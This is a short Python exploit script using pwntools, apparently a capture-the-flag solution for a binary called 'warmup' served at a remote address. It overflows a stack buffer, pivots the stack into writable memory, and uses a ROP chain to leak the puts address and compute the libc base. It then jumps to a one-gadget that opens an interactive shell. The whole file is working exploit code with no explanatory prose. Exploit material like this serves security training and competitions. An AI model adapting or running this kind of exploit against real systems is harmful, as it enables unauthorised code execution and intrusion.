exp.py

#!/usr/bin/python
from pwn import *

libc = ELF("./libc.so.6")
elf = ELF("./warmup")
p = remote("35.196.102.230", 4444)
#p = process("./warmup",env={"LD_PRELOAD":"./libc.so.6"})
raw_input()

p.recvuntil("CTF!")
buf = "A"*112
buf += p64(0x601100+0x70)
buf += p64(0x400675)

p.send(buf)

pop_rdi = p64(0x0000000000400703)
pop_rsi = p64(0x0000000000400701)	#pop pop ret

payload = "/bin/sh\x00"
payload += pop_rdi
payload += p64(0x0000000000601018)
payload += p64(elf.plt['puts'])
payload += pop_rsi
payload += p64(0x601108)
payload += p64(0x601108)
payload += pop_rdi
payload += p64(0x0)
payload += p64(elf.plt['read'])

payload = payload.ljust(112,"X")
# 112
#rop chain.
payload += p64(0x601100)
payload += p64(0x400695)	# leave ret


p.send(payload)

leak = p.recvline()
leak = p.recv(8).strip("\n")
leak += "\x00"*2

#print "LEAK: " + leak
leak = u64(leak) - libc.symbols['puts']
print hex(leak)

finale = "/bin/sh\x00"
finale += "/bin/sh\x00"
finale += "F"*56
finale += p64(0xf1117 + leak)
#finale += pop_rdi
p.sendline(finale)

p.interactive()